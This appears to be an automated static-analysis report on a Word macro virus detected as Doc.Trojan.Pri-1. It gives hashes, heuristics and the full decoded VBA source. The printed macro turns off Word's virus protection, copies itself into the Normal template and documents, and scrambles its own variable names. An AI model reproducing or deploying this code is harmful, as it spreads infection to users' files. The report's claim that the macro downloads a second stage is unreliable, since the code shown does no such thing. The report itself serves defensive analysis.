Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d480852f76963acf…

MALICIOUS

Office (OLE)

36.0 KB Created: 1999-07-09 10:10:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 33661aa75a9b0abcb1dcaa9a46ce6b0d SHA-1: 95d158d564305ed1fb0abd82e7a2edba8ffc3732 SHA-256: d480852f76963acf9f80705dd0e4afb0aa67eab7d83299fef9fc5257cfd8c289
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV heuristic firings indicate the file is malicious, specifically identified as 'Doc.Trojan.Pri-1'. The presence of a 'Document_Open' VBA macro strongly suggests an attempt to automatically execute malicious code when the document is opened. While the VBA code is truncated, its structure implies it is designed to download and execute a second-stage payload, a common tactic for malware distribution.

Heuristics 3

  • ClamAV: Doc.Trojan.Pri-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Pri-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11763 bytes
SHA-256: 9d3ad25fc2cd54271148cc53fd8d673829666825fc2a1b450e977a5c656355cb
Detection
ClamAV: Doc.Trojan.Pri-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Options.ConfirmConversions = 0: Options.VirusProtection = 0: Options.SaveNormalPrompt = 0
If 99999 = Minute(Now) Then
Randomize: For x = 1 To 10
ActiveDocument.Shapes.AddShape(msoShapePentagon, Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500)).Select
Selection.ShapeRange.Fill.ForeColor.RGB = RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255))
Selection.ShapeRange.Fill.Visible = msoTrue
Selection.ShapeRange.Fill.Solid: Next x: End If
RD5051 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
UH326 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set JH2131 = ActiveDocument.VBProject.VBComponents.Item(1)
KG8744 = True
End If
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set JH2131 = NormalTemplate.VBProject.VBComponents.Item(1)
IB5392 = True
Call QF7755_EA4393
ActiveDocument.Saved = True
End If
If IB5392 <> True And KG8744 <> True Then GoTo CH4811
If IB5392 = True Then JH2131.CodeModule.AddFromString ("Private Sub Document_Close()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, RD5051 - 1) & vbCr & "Sub ViewVBCode" & vbCr & "End Sub")
If KG8744 = True Then JH2131.CodeModule.AddFromString ("Private Sub Document_Open" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, UH326 - 3))
CH4811:
If UH326 <> 0 And RD5051 = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub 'W97M/PSD ...porn star dreams? [(c)1998 ALT-F11 code hack]
Private Function QF7755_EA4393()
On Error Resume Next
Randomize
Dim r1(1 To 14) As String
r1(1) = "MT7964": r1(2) = "EF1851": r1(3) = "QF2046": r1(4) = "DK3675": r1(5) = "EA4393": r1(6) = "RD5051"
r1(7) = "UH326": r1(8) = "KG8744":: r1(9) = "JH2131": r1(10) = "IB5392": r1(11) = "CH4811": r1(12) = "QF7755": r1(13) = "QM9930": r1(14) = "KM6758"
For x = 1 To 14
a1 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 100) & Int(Rnd * 100)
Call EA4393(a1, r1(x))
Next x
End Function 'VAMP v1.0 [thanks Vic!]
Private Function EA4393(KM6758, QM9930 As String)
On Error Resume Next
Dim MT7964 As Long: Dim EF1851 As Long: Dim QF2046 As Long: Dim DK3675 As Long
With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
MT7964 = 1: EF1851 = 1: QF2046 = .CountOfLines: DK3675 = Len(.Lines(.CountOfLines, 1))
Do While .Find(QM9930, MT7964, EF1851, QF2046, DK3675, True)
strline = .Lines(MT7964, 1)
strline = Left(strline, EF1851 - 1) & KM6758 & Mid(strline, DK3675)
.replaceline MT7964, strline
MT7964 = QF2046 + 1: EF1851 = 1:
QF2046 = .CountOfLines
DK3675 = Len(.Lines(.CountOfLines, 1))
Loop
End With
End Function

' Processing file: /opt/analyzer/scan_staging/d5d7cabbb4a74de88a63d94abfd6e8f9.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5397 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #3:
' 	LitDI4 0x869F 0x0001 
' 	Ld Now 
' 	ArgsLd Minute 0x0001 
' 	Eq 
' 	IfBlock 
' Line #4:
' 	ArgsCall Read 0x0000 
' 	BoS 0x0000 
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x000A 
' 	For 
' Line #5:
' 	Ld msoShapePentagon 
' 	Ld Rnd 
' 	LitDI2 0x01F4 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x01F4 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x01F4 
' 	Mul 
' 	FnInt 
' 	
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.